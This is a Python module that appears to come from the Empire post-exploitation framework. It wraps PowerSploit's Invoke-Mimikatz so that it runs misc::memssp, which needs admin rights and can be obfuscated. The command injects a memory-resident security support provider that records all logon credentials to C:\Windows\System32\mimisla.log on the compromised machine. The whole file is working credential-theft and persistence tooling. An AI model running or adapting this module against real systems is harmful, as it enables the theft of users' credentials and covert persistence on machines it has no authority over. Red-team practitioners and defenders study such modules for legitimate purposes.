from __future__ import print_function
from builtins import str
from builtins import object
from lib.common import helpers
class Module(object):
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Mimikatz memssp',
'Author': ['@JosephBialek', '@gentilkiwi'],
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
"to execute misc::memssp to log all authentication events "
"to C:\\Windows\\System32\\mimisla.log."),
'Software': 'S0194',
'Techniques': ['TA0003', 'T1101'],
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : True,
'OpsecSafe' : False,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'http://clymb3r.wordpress.com/',
'http://blog.gentilkiwi.com'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
# build the custom command with whatever options we want
command = "misc::memssp"
# base64 encode the command to pass to Invoke-Mimikatz
scriptEnd = "Invoke-Mimikatz -Command '\"" + command + "\"';"
scriptEnd += '"memssp installed, check C:\Windows\System32\mimisla.log for logon events."'
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script